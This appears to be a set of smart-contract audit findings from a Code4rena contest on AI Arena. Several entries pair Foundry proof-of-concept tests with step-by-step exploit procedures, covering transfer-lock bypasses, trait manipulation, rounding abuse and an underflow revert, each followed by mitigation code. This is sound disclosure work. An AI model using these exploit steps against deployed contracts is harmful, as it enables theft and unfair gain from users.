AI Arena - McToady's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L291

Vulnerability details

Description: When GameItems.sol creates ERC1155 tokens the GameItemsAttributes struct associated with that item has the field bool transferable. This determines whether or not it should be possible for a user to transfer tokens with that id. The project ensures this is the case when calling safeTransferFrom by overriding the inherited OpenZeppelin function and adding the following line: require(allGameItemAttributes[tokenId].transferable);. However the OpenZeppelin ERC1155 implementation that this contract inherits also has a safeBatchTransferFrom function that the contract does not override.

Impact: ERC1155 token ids marked as 'untransferable' are actually transferrable by using the functiong safeBatchTransferFrom.

Proof of Concept: Add the following foundry test to GameItems.t.sol to confirm this:

    function testBypassTransferabilityWithSafeBatchTransferFrom() public {
        // set up a user address & give them NRN tokens
        address alice = makeAddr("alice");
        _fundUserWith4kNeuronByTreasury(alice);

        // make battery non-transferable
        _gameItemsContract.adjustTransferability(0, false);
        (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(0);
        assertEq(transferable, false);

        // buy battery as alice
        vm.startPrank(alice);
        _gameItemsContract.mint(0, 2);
        assertEq(_gameItemsContract.balanceOf(alice, 0), 2);
        
        // transfer "non-transferable" batteries using safeBatchTransferFrom
        address bob = makeAddr("bob");
        uint256[] memory ids = new uint256[](1);
        ids[0] = 0;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 2;
        _gameItemsContract.safeBatchTransferFrom(alice, bob, ids, amounts, "");

        // Check the transfer was successful (alice has 0 batteries, bob has 2)
        assertEq(_gameItemsContract.balanceOf(alice, 0), 0);
        assertEq(_gameItemsContract.balanceOf(bob, 0), 2);
    }

Recommended Mitigation: Override the safeBatchTransferFrom function to ensure it makes the same allGallGameItemAttributes[ids[i]].transferable check made in safeTransferFrom Example:

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) public override(ERC1155) {
        uint256 idsLength = ids.length;
        for (uint256 i; i < idsLength; ++i) {
            require(allGameItemAttributes[ids[i]].transferable, "Untradable Token"); 
        }
        super.safeBatchTransferFrom(from, to, ids, amounts, data);
    }

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L233

Vulnerability details

Description The function redeemMintPass allows the sender of the transaction to select their own, fighterTypes, iconTypes, and mintPassDnas. However the sender can set these to whatever values they wish.

Impact There are currently 420 AAMintPass tokens deployed on Arbitrum and the user calling redeemMintPass will be able to select whichever fighterTypes, iconTypes and mintPassDnas they choose, making supposed rare traits easily aquirable for all mint pass owners. This means depsite the AI Arena documentation describing dendroid fighters as "a more exclusive class of NFTs" it would be possible for all 420 mint pass holders to mint this fighter type.

The lack of check also allows users to pass their own mintPassDnas so they could instead choose a dna that would allow them to attain rare phyiscal attributes.

Another alternative would be that the caller could input invalid values for those arguments that don't correspond to anything in the contract. For example a fighterType of 5 (only 0 or 1 exist).

Proof Of Concept See the following foundry test to FighterFarm.t.sol to confirm anyone is eligible to call redeemMintPass to redeem a dendroid type fighter:

    function testRedeemDendroid() public {
        // Create a mintpass to redeem from fighter farm
        // Specify that your pass is for a non-dendroid fighter
        uint8[2] memory numToMint = [1, 0];
        bytes memory signature = abi.encodePacked(
            hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
        );
        string[] memory _tokenURIs = new string[](1);
        _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
        
        // Create our input arrays for redeemMintPass
        uint256[] memory _mintpassIdsToBurn = new uint256[](1);
        string[] memory _mintPassDNAs = new string[](1);
        uint8[] memory _fighterTypes = new uint8[](1);
        uint8[] memory _iconsTypes = new uint8[](1);
        string[] memory _neuralNetHashes = new string[](1);
        string[] memory _modelTypes = new string[](1);

        _mintpassIdsToBurn[0] = 1;
        _mintPassDNAs[0] = "dna";
        // Choose to mint a dendroid
        _fighterTypes[0] = 1;
        _neuralNetHashes[0] = "neuralnethash";
        _modelTypes[0] = "original";
        _iconsTypes[0] = 1;

        // Approve the fighterfarm contract to burn the mintpass
        _mintPassContract.approve(address(_fighterFarmContract), 1);

        // Mint the dendroid fighter type 
        _fighterFarmContract.redeemMintPass(
            _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
        );
        // Confirm the attributes are all 99 (dendroid)
        ( , uint256[6] memory attributes, , , , ,) = _fighterFarmContract.getAllFighterInfo(0);
        assertEq(attributes[0], 99);
        assertEq(attributes[1], 99);
        assertEq(attributes[2], 99);
        assertEq(attributes[3], 99);
        assertEq(attributes[4], 99);
        assertEq(attributes[5], 99);
    }

Recommended Mitigation While it's not 100% clear it seems that the intention of this function is that the arguments passed to redeemMintPass are validated with a signature from some trusted address which is verified during the functions execution. However this is not the case. It would be recommended to add a signature argument that is verified against the hash of the functions arguments as is the case in AAMintPass::claimMintPass.

Assessed type

Invalid Validation

Judge has assessed an item in Issue #1355 as 3 risk. The relevant finding follows:

I-12 to #1626

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L519

Vulnerability details

Description In RankedBattle::updateBattleRecord::_addResultPoints a users stakingFactor is calculated by _getStakingFactor. See the following excerpt from this function:

    uint256 stakingFactor_ = FixedPointMathLib.sqrt(
          (amountStaked[tokenId] + stakeAtRisk) / 10**18
      );
    
    if (stakingFactor_ == 0) {
        stakingFactor_ = 1;
    }

This calculation is very likely to lead to a precision error resulting in two different amountStaked[tokenId] + stakeAtRisk values producing the same stakingFactor.

Impact As the users points for a victory are decided by stakingFactor[tokenId * eloFactor a loss of precision can lead to a user gaining less points than they should for a victory compared to their peers. Given that a users points gained are directly related to how many Neuron tokens they can claim at the end of a round its likely that this loss of precision will lead users to get less than their fair share of Neuron tokens.

PoC Consider the following example (Assume Alice and Bob have the same eloFactor for simplicity):

1. Alice stakes 1wei of tokens in RankedBattle
2. Bob stakes (4e18 - 1) tokens in RankedBattle
3. Both Alice and Bob have a stakingFactor of 1
4. If Alice and Bob win they gain the same amount of points
5. If Alice and Bob lose, bob has significantly more tokens that could be put at risk than Alice.

Add the following test to RankedBattle.t.sol to show this loss of precision:

    function testSqrtLossOfPrecision() public {
        // A is Alice's stake
        uint256 a = 1;
        // B is Bob's stake
        uint256 b = 4 ether - 1;

        // Test precision loss calculated in _getStakingFactor
        uint256 stakingFactorA = FixedPointMathLib.sqrt(a / 10**18);
        if (stakingFactorA == 0) {
            stakingFactorA = 1;
        }
        
        uint256 stakingFactorB = FixedPointMathLib.sqrt(b / 10**18);
        if (stakingFactorB == 0) {
            stakingFactorB = 1;
        }
        
        // Despite bob having staked signficantly more than Alice, their stakingFactors are the same
        assertEq(stakingFactorA,stakingFactorB);
    }

The following test confirms points earned will be the same within the contract logic:

    function testLossOfPrecisionPoints() public {
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");

        _mintFromMergingPool(alice);
        _mintFromMergingPool(bob);
        _fundUserWith4kNeuronByTreasury(alice);
        _fundUserWith4kNeuronByTreasury(bob);

        // Stake one token as alice
        vm.prank(alice);
        _rankedBattleContract.stakeNRN(1, 0);

        // Stake (4 ether - 1) tokens as bob
        vm.prank(bob);
        _rankedBattleContract.stakeNRN(4 ether - 1, 1);
        
        vm.startPrank(_GAME_SERVER_ADDRESS);
        // Alice Wins a battle
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        // Bob wins a battle
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
    
        // Assert Alice and bob earned the same points
        uint256 alicePoints = _rankedBattleContract.accumulatedPointsPerAddress(alice, 0);
        uint256 bobPoints = _rankedBattleContract.accumulatedPointsPerAddress(bob, 0);

        assertEq(alicePoints, bobPoints);
    }

Finally this test also shows the precision loss persists with larger amounts of tokens:

    function testSqrtLossOfPrecisionBig() public {
        // Alice stakes 3970 tokens
        uint256 a = 3970 ether;
        // Bob stakes 4095 tokens
        uint256 b = 4095 ether;

        // Test precision loss calculated in _getStakingFactor
        uint256 stakingFactorA = FixedPointMathLib.sqrt(a / 10**18);
        if (stakingFactorA == 0) {
            stakingFactorA = 1;
        }
        
        uint256 stakingFactorB = FixedPointMathLib.sqrt(b / 10**18);
        if (stakingFactorB == 0) {
            stakingFactorB = 1;
        }
        
        // Despite bob having 125 more tokens staked their results remain the same
        assertEq(stakingFactorA,stakingFactorB);
    }

Recommended Mitigation Firstly it's recommended that RankedBattle implements some variable such as MINIMUM_STAKE_AMOUNT that stops users from taking advantage of staking only a very small amount of tokens.

Also to limit the size of the precision loss the project should avoid first dividing the number by 1e18. While there will still be some amount of precision lost during this calculation, it will be a lot less pronounced and avoid scenarios like the one above where large disparities in tokens staked lead to the same number of tokens earned.

An example using the values from the previous test:

    function testSqrtLossOfPrecisionBigNoDiv() public {
        // Alice stakes 3970 tokens
        uint256 a = 3970 ether;
        // Bob stakes 4095 tokens
        uint256 b = 4095 ether;

        // Test precision loss calculated in _getStakingFactor
        uint256 stakingFactorA = FixedPointMathLib.sqrt(a);
        if (stakingFactorA == 0) {
            stakingFactorA = 1;
        }
        
        uint256 stakingFactorB = FixedPointMathLib.sqrt(b);
        if (stakingFactorB == 0) {
            stakingFactorB = 1;
        }
        
        // Alice's staking factor is now less than bobs
        assert(stakingFactorA < stakingFactorB);
        console.log("Alice staking factor", stakingFactorA);
        console.log("Bob staking factor", stakingFactorB);
    }

The following shows that Bob will now have a significantly larger staking factor than Alice:

[PASS] testSqrtLossOfPrecisionBigNoDiv() (gas: 5266)
Logs:
  Alice staking factor 63007936008
  Bob staking factor 63992187023

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L439

Vulnerability details

Description When a user has tokens staked in RankedBattle they risk those tokens being moved to the StakeAtRisk contract if they lose too many games, however they can regain those tokens by winning games while having tokens "at risk".

However both tokens being put at risk and being reclaimed is broken if the user stakes only a small amount of tokens because of precision loss.

See the following line in _addResultPoints: curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;

bpsLostPerLoss is 10, so if amount staked + stake at risk is less than 1000, curStakeAtRisk will be rounded down to 0. If user has won The check if (curStakeAtRisk > 0) will fail meaning _stakeAtRiskInstance.reclaimNRN will never be called. If user has lost The amount of tokens sent to the StakeAtRisk contract is always 0 as shown here: bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);

Impact As the users tokens will never be put at risk, they will be able to play ranked battle games without any consequence, meaning they can gain points (and therefore claim Neuron tokens) without ever losing tokens. As the _gameServerAddress is responsible for pushing the updateBattleRecord transactions, the user doesn't even have to risk gas to make profit from this method. This gives them an unfair edge over users staking larger amounts who risk losing to to the StakeAtRisk contract.

Proof Of Concept Add the following test to RankedBattle.t.sol to confirm this:

    function testStakeAtRiskPrecisionLoss() public {
        address alice = makeAddr("alice");
        _mintFromMergingPool(alice);
        _fundUserWith4kNeuronByTreasury(alice);

        // Stake less than 1k tokens
        vm.prank(alice);
        _rankedBattleContract.stakeNRN(999, 0);

        // Alice loses first battle
        vm.startPrank(_GAME_SERVER_ADDRESS);
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
        // Confirm alice doesn't lose any stake
        uint256 aliceCurrentStake = _rankedBattleContract.amountStaked(0);
        assertEq(aliceCurrentStake, 999);

        // Alice wins next battle
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        // Confirm alice still gains points for winning
        uint256 alicePoints = _rankedBattleContract.accumulatedPointsPerAddress(alice, 0);
        assert(alicePoints > 0);
    }

Recommended Mitigation Adding a MINIMUM_STAKE_AMOUNT check when calling RankedBattle::stakeNRN would practically remove this method from being practical for users to exploit.

Assessed type

Math

Judge has assessed an item in Issue #1355 as 2 risk. The relevant finding follows:

[I-09] No way to revoke MINTER_ROLE, STAKER_ROLE or SPENDER_ROLE in Neuron.sol should it be necessary.

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139

Vulnerability details

Description: Winners from the MergingPool contract are allowed to specify their own modelURIs, modelTypes and customAttributes when calling claimRewards. However there is no validation that the numbers given to customAttributes are valid. The custom attributes correspond to the fighters element and weight. The constructor to FighterFarm sets the number of elements for generation zero as 3 here:numElements[0] = 3. However this allows the user to set their element to any number in the uint256 range. As for weight the weights generated normally by the code in FighterFarm::_createFighterBase range from 65 to 95 as shown here: uint256 weight = dna % 31 + 65.

Impact: As these attributes are to effect the gameplay of the project which is not onchain and therefore outside the scope of this contest it's unclear the extent of the problems this issue could cause. However it's likely safe to assume that this would result either: A - Cause a large distruption to the intended gameplay. B - Have to be retconned off chain before gameplay takes place, leading the onchain record of fighter attributes to be an incorrect record of their actual attributes in game.

Proof of Concept: Add the following test to MergingPool.t.sol to confirm this:

    function testWinnerCanPickRareStats() public {
        // Set up two owners to meet required number of winners
        address alice = makeAddr("alice");
        address otherWinner = makeAddr("other winner");
        _mintFromMergingPool(alice);
        _mintFromMergingPool(otherWinner);

        // Select two winners from merging pool
        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;
        _mergingPoolContract.pickWinner(_winners);

        // Add generic model info for alice
        string[] memory _modelURI = new string[](1);
        _modelURI[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        string[] memory _modelType = new string[](1);
        _modelType[0] = "original";
        
        // Have alice set her fighter element & fighter weight to maximum uint256
        uint256[2][] memory _customAttributes = new uint256[2][](1);
        _customAttributes[0][0] = type(uint256).max;
        _customAttributes[0][1] = type(uint256).max;
        
        // Mint Reward as alice, confirm she now owns token id 2
        vm.prank(alice);
        _mergingPoolContract.claimRewards(_modelURI, _modelType, _customAttributes);
        assertEq(_fighterFarmContract.ownerOf(2), alice);

        // Check that her fighters element and weight is in fact max uint256
        (, ,uint256 weight, uint256 element, , , ) = _fighterFarmContract.getAllFighterInfo(2);
        
        assertEq(weight, type(uint256).max);
        assertEq(element, type(uint256).max);
    }

Recommended Mitigation: It's recommended that FighterFarm::mintFromMergingPool function adds some verification that the given customAttributes fit within the legal limits for the protocol.

Example:

    function mintFromMergingPool(
        address to, 
        string calldata modelHash, 
        string calldata modelType, 
        uint256[2] calldata customAttributes
    ) 
        public 
    {
        require(msg.sender == _mergingPoolAddress);
+       require(customAttributes[0] < numElements[generation[0], "Invalid Fighter Element");
+       require(customAttributes[1] < 100, "Invalid Fighter Weight");
        _createNewFighter(
            to, 
            uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
            modelHash, 
            modelType,
            0,
            0,
            customAttributes
        );
    }

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139

Vulnerability details

Description The function claimRewards loops over all the rounds a user has not yet claimed for when calculating how many fighters the sending is eligible to receive. Then for each round it then loops over the array of winners for each round to check if msg.sender is one of the winners. This means that as the round number increases, users who haven't claimed before would have to loop from 0 to the current round, expending a lot of gas.

Impact As MergingPool::roundId increases the gas required for a new user to call claimRewards will keep increasing, making it progressively more expensive.

Proof of Concept As you can see from the following, gas used to claim after one round is significantly smaller than gas users to claim after not claiming for 100 rounds:

Running 1 test for test/MergingPool.t.sol:MergingPoolTest
[PASS] testDoSClaimRewards() (gas: 12080917)
Logs:
  Gas used claiming after 1 round 411759
  Gas used claiming after 100 rounds 604631

    function testDoSClaimRewards() public {
        // Create 3 users & send them a token
        address alice = makeAddr("alice");
        address otherUserOne = makeAddr("other user one");
        address otherUserTwo = makeAddr("other user two");
        _mintFromMergingPool(alice);
        _mintFromMergingPool(otherUserOne);
        _mintFromMergingPool(otherUserTwo);

        uint256[] memory firstWinners = new uint256[](2);
        firstWinners[0] = 0;
        firstWinners[1] = 1;
        _mergingPoolContract.pickWinner(firstWinners);


        // Add generic model info and attributes
        string[] memory _modelURI = new string[](1);
        _modelURI[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelType = new string[](1);
        _modelType[0] = "original"; 
        uint256[2][] memory _customAttributes = new uint256[2][](1);
        _customAttributes[0][0] = 1;
        _customAttributes[0][1] = 80;

        // Have alice win and claim round 1
        uint256 gasStart = gasleft();
        vm.prank(alice);
        _mergingPoolContract.claimRewards(_modelURI, _modelType, _customAttributes);
        uint256 gasUsedFirst = gasStart - gasleft();
        console.log("Gas used claiming after one round", gasUsedFirst);

        // alice doesn't win in the loop pickWinner calls
        uint256[] memory loopWinners = new uint256[](2);
        loopWinners[0] = 1;
        loopWinners[1] = 2;

        for(uint256 i; i < 100; ++i) {   
            _mergingPoolContract.pickWinner(loopWinners);
        }

        // Alice wins again, this time gas is much higher
        _mergingPoolContract.pickWinner(firstWinners);
        uint256 gasStartFinal = gasleft();
        vm.prank(alice);
        _mergingPoolContract.claimRewards(_modelURI, _modelType, _customAttributes);
        uint256 gasUsedFinal = gasStartFinal - gasleft();
        console.log("Gas used claiming after 100 rounds", gasUsedFinal);

        assert(gasUsedFinal > gasUsedFirst);
    }

Recommended Mitigation It would be better to allow users to select the rounds they wish to claim for in an array, this would avoid them having to needlessly loop through roundId's if they know they weren't a winner.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L294

Vulnerability details

Description: The function claimNRN loops over all the rounds a user has not yet claimed for when calculating the total amount of $NRN the user is eligible to receive. This means that as the round number increases, users who haven't claimed before would have to loop from round id 0 to the current round expending a lot of gas.

Impact: As RankedBattle::roundId increases, the gas required for a new user to call claimNRN will keep increasing, making it progressively more expensive.

Proof of Concept: As you can see from the following, gas used to claim after one round is significantly smaller than gas used to claim after not claiming for 100 rounds:

Running 1 test for test/RankedBattle.t.sol:RankedBattleTest
[PASS] testDoSClaimNRN() (gas: 18255965)
Logs:
  Gas Round One Claim 79643
  Gas Round Hundred Claim 371343

Add the following test to RankedBattle.t.sol to recreate this:

    function testDoSClaimNRN() public {
        // set up with a fighter and some $NRN
        address alice = makeAddr("alice");
        _mintFromMergingPool(alice);
        _fundUserWith4kNeuronByTreasury(alice);
        
        // Create other users
        address bob = makeAddr("bob");
        _mintFromMergingPool(bob);
        _fundUserWith4kNeuronByTreasury(bob);
        vm.prank(bob);
        _rankedBattleContract.stakeNRN(4_000 ether, 1);

        address chad = makeAddr("chad");
        _mintFromMergingPool(chad);
        // test stake NRN, play
        vm.prank(alice);
        _rankedBattleContract.stakeNRN(4_000 * 10 ** 18, 0);
        assertEq(_rankedBattleContract.amountStaked(0), 4_000 * 10 ** 18);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
        _rankedBattleContract.setNewRound();
        
        // Claim round one 
        uint256 gasLeftPreRoundOneClaim = gasleft();
        vm.prank(alice);
        _rankedBattleContract.claimNRN();
        uint256 roundOneClaimGas = gasLeftPreRoundOneClaim - gasleft();

        console.log("Gas Round One Claim", roundOneClaimGas);
        
        // Move forward 100 rounds without alice playing
        uint256 currentTime = block.timestamp;
        for(uint256 i; i < 100; i++) {
            // bob and chad keep playing
            currentTime += 1 days;
            vm.warp(currentTime); 
            vm.prank(address(_GAME_SERVER_ADDRESS));
            _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
            vm.prank(address(_GAME_SERVER_ADDRESS));
            _rankedBattleContract.updateBattleRecord(2, 50, 0, 1500, true);
        
            _rankedBattleContract.setNewRound();
        }
        
        // Alice returns to play again
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
        _rankedBattleContract.setNewRound();
        
        // Alice calims again
        uint256 gasLeftPreRoundHundredClaim = gasleft();
        vm.prank(alice);
        _rankedBattleContract.claimNRN();
        uint256 roundHundredClaimGas = gasLeftPreRoundHundredClaim - gasleft();
        console.log("Gas Round Hundred Claim", roundHundredClaimGas);

        assert(roundHundredClaimGas > roundOneClaimGas);
    }

Recommended Mitigation: It would be better to allow users to select the rounds they wish to claim for in an array, this would avoid them having to needlessly loop through roundIds that they didn't participate in. Example:

    
-   mapping(address => uint32) public numRoundsClaimed;
+   mapping(address user => mapping (uint256 roundId => bool claimed) userToRoundClaimed;

-    function claimNRN() external {
+    function claimNRN(uint256 calldata roundIds) external {
-       require(numRoundsClaimed[msg.sender] < roundId, "Already claimed NRNs for this period");
        uint256 claimableNRN = 0;
        uint256 nrnDistribution;
-       uint32 lowerBound = numRoundsClaimed[msg.sender];
-       for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
+       for (uint256 i; i < roundIds.length; ++i {
+           require(!userToRoundClaimed[msg.sender][roundIds[i]], "Round already claimed");
            nrnDistribution = getNrnDistribution(currentRound);
            claimableNRN += (
-               accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution   
+               accumulatedPointsPerAddress[msg.sender][roundIds[i]] * nrnDistribution
            ) / totalAccumulatedPoints[currentRound];
-           numRoundsClaimed[msg.sender] += 1;
+           userToRoundClaimed[msg.sender][roundIds[i]] = true;
        }
        if (claimableNRN > 0) {
            amountClaimed[msg.sender] += claimableNRN;
            _neuronInstance.mint(msg.sender, claimableNRN);
            emit Claimed(msg.sender, claimableNRN);
        }
    }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L214 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L324 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L379

Vulnerability details

Description The fighter NFTs should each have physical attributes of varying rarity. This rarity is decided when calling one of mintFromMergingPool,claimFighters or reRoll. However the method of allocating the physical attributes is pseudorandom and can be easily gamed to only get your desired traits.

Impact The rarities specified in AiArenaHelper::attributeProbabilities would not be a true reflection of the collections rarities. Furthermore users aware of this issue would be able to mint/reroll for rare traits and then profit either economically (by selling their rares for a premium on secondary markets) or in game (by having stronger characters).

Proof of Concept See the following line from FighterFarm::reRoll: uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));

As DNA is decided by a hash of msg.sender tokenId and numRerolls[tokenId] it's easily possible for a user to predict what their DNA hash will be if they call the function from different addresses.

Process:

1. Create new private key/address pair
2. Compute uint256(keccak256(abi.encode(NEW_ADDRESS, tokenId, numRerolls[tokenId])));.
3. Call AiArenaHelper::createPhysicalAttributes(COMPUTED_DNA,...other token info) to see what the physical attribute of that DNA string produce.
4. Repeat 1-3 until you get your desired attributes.
5. When you find the desired attributes transfer the token to that address and call FighterFarm::reRoll.
6. Transfer the token back to your main account now it has the attributes you desired.

Mitigation The project's documentation previously stated that they planned to use Chainlink VRF to provide a provable random number to determine the tokens attributes, however this has been removed since the start of the contest. Returning to this previous approach and implementing Chainlink VRF to determine a tokens dna would remove this issue and lead to the minting process not being able to be gamed by a small group of users.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L322

Vulnerability details

Description: If a FighterFarm NFT token has existing stake at risk in the current round and is then sent to a new owner, if fighter wins a battle for the new owner in the current round the call to RankedBattle::updateBattleRecord will revert with an underflow error. When trying to deduct nrnToReclaim from amountLost[fighterOwner] even though it is zero.

Explainer Diagram

As the above shows, if amountLost[fighterOwner] is less than nrnToReclaim this logic flow will revert.

Impact: All transactions sent to RankedBattle::updateBattleRecord where the new owner is winner will revert until the round ends. This includes battles where the fighter in question is not the "initiator", so they could continue to be part of battles but only their losses will be tracked.

Proof of Concept: Steps:

• The first user stakes NRN on their token Id& loses battles to get stake at risk on that token Id
• The first user then unstakes and transfers the token to a Second user
• The second user tries to battle, but after winning the updateBattleRecord function reverts with an underflow error.

Add the following test to RankedBattle.t.sol to confirm this:

    function testUnderflowInReclaimNRN() public {       
        // Create 2 players
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");

        // Send Player 1 a fighter NFT
        _mintFromMergingPool(alice);
        
        // Send Player 1 some NRN to stake
        _fundUserWith4kNeuronByTreasury(alice);
        vm.prank(alice);
        _rankedBattleContract.stakeNRN(4_000 ether, 0);

        // Player 1 loses and then wins some battles
        vm.startPrank(_GAME_SERVER_ADDRESS);
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);

        // Check Player 1's fighter has stake at risk
        uint256 aliceFighterStakeAtRisk = _stakeAtRiskContract.getStakeAtRisk(0);
        assert(aliceFighterStakeAtRisk > 0);

        // Player 1 unstakes and sends fighter to Player 2
        uint256 aliceStakedBalance = _rankedBattleContract.amountStaked(0);
        vm.startPrank(alice);
        _rankedBattleContract.unstakeNRN(aliceStakedBalance, 0);
        _fighterFarmContract.transferFrom(alice, bob, 0);
        vm.stopPrank();

        // Player 2 wins their first battle but updateBattleRecord fails because of underflow in reClaimNRN
        vm.prank(_GAME_SERVER_ADDRESS);
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
    }

Recommended Mitigation: The function StakeAtRisk::reclaimNRN should add the following check require(amountLost[fighterOwner] >= nrnToReclaim). This will ensure that when the mapping is updated later in the function it cannot underflow.

Example:

    function reclaimNRN(uint256 nrnToReclaim, uint256 fighterId, address fighterOwner) external {

        require(msg.sender == _rankedBattleAddress, "Call must be from RankedBattle contract");
        require(
            stakeAtRisk[roundId][fighterId] >= nrnToReclaim, 
            "Fighter does not have enough stake at risk"
        );
+       require(amountLost[fighterOwner] >= nrnToReclaim, "Owner doesn't have enough stake at risk");

        bool success = _neuronInstance.transfer(_rankedBattleAddress, nrnToReclaim);
        if (success) {
            stakeAtRisk[roundId][fighterId] -= nrnToReclaim;
            totalStakeAtRisk[roundId] -= nrnToReclaim;
            amountLost[fighterOwner] -= nrnToReclaim;
            emit ReclaimedStake(fighterId, nrnToReclaim);
        }
    }

Assessed type

Under/Overflow

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L253

Vulnerability details

Description The project deals with NFT staking by allowing their users to keep their ERC721 token in their wallet and instead checking !fighterStaked when a transfer is attempted, effectively preventing the token being transferred/sold until they unstake all their Neuron tokens.

However in RankedBattle a user can unstake all their tokens while still having stake at risk inside StakeAtRisk.sol. As unstakeNRN only checks amountStaked[tokenId] == 0, their NFT will be unlocked and is now able to transferred. However if they then win a battle with their unstaked NFT, they will reclaim some of the at risk tokens and their amountStaked will no longer be zero.

This means that when a new round starts they can call RankedBattle::stakeNRN to stake a larger amount of tokens and the following check will be skipped meaning fighterStaked mapping will not get updated, so their token remains unlocked:

    if (amountStaked[tokenId] == 0) {
        _fighterFarmInstance.updateFighterStaking(tokenId, true);
    }

Impact This bypasses the method the protocol uses for ensuring a token is "locked" when staked and a user will be free to transfer the token to other wallets while being staked. The could be used to rotate a staked NFT around wallets to play a large number of games whilst avoiding running out of VoltageManager::ownerVoltage and having to purchase a Battery game item.

Proof Of Concept Steps required to create this:

1. Alice stakes her fighter
2. Alice loses a battle
3. Alice unstakes her fighter while having stakeAtRisk
4. Alice wins a battle while unstaked and reclaims some of that stake at risk
5. The round ends (meaning alice can stake again)
6. Alice calls stakeNRN but bypasses the call to updateFighterStaking meaning her token remains unlocked
7. Alice can play 10 games, run out of voltage then pass to another address while still being staked
8. The other addresses will earn points based on the tokens staked in Alice's address
9. Alice can repeatedly rotate between addresses to never have to purchase a battery and initiate as many battles as she wants.

Add the following test to RankedBattle.t.sol to confirm:

   function testAvoidFighterLock() public {
        // Create some addresses and set them up 
        address alice = makeAddr("alice");
        address aliceTwo = makeAddr("alice two");
        address bob = makeAddr("bob");
        
        // Send Alice and Bob a fighter NFT
        _mintFromMergingPool(alice);
        _mintFromMergingPool(bob);
        
        // Send Alice and Bob some NRN to stake
        _fundUserWith4kNeuronByTreasury(alice);
        _fundUserWith4kNeuronByTreasury(bob);
        vm.prank(alice);
        _rankedBattleContract.stakeNRN(4_000 ether, 0);
        vm.prank(bob);
        _rankedBattleContract.stakeNRN(4_000 ether, 1);

        // Alice loses
        vm.startPrank(_GAME_SERVER_ADDRESS);
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
        // Bob wins (we need positive points to later end the round
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
        vm.stopPrank();

        // Check Player 1's fighter has stake at risk
        uint256 aliceFighterStakeAtRisk = _stakeAtRiskContract.getStakeAtRisk(0);
        assert(aliceFighterStakeAtRisk > 0);

        // Alice unstakes
        uint256 aliceStakedBalance = _rankedBattleContract.amountStaked(0);
        vm.prank(alice);
        _rankedBattleContract.unstakeNRN(aliceStakedBalance, 0);
        // Check token id 0 is now unlocked
        assert(!_fighterFarmContract.fighterStaked(0));
        
        // Alice wins with unstaked token
        vm.prank(_GAME_SERVER_ADDRESS);
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);

        // Check alice recovered some stake at risk
        uint256 aliceFighterStakeAtRiskNow = _stakeAtRiskContract.getStakeAtRisk(0);
        assert(aliceFighterStakeAtRiskNow < aliceFighterStakeAtRisk);
        // Check alice now has some tokens staked
        assert(_rankedBattleContract.amountStaked(0) > 0);

        // Round ends
        _rankedBattleContract.setNewRound();
        // Alice stakes again now the round ended
        vm.prank(alice);
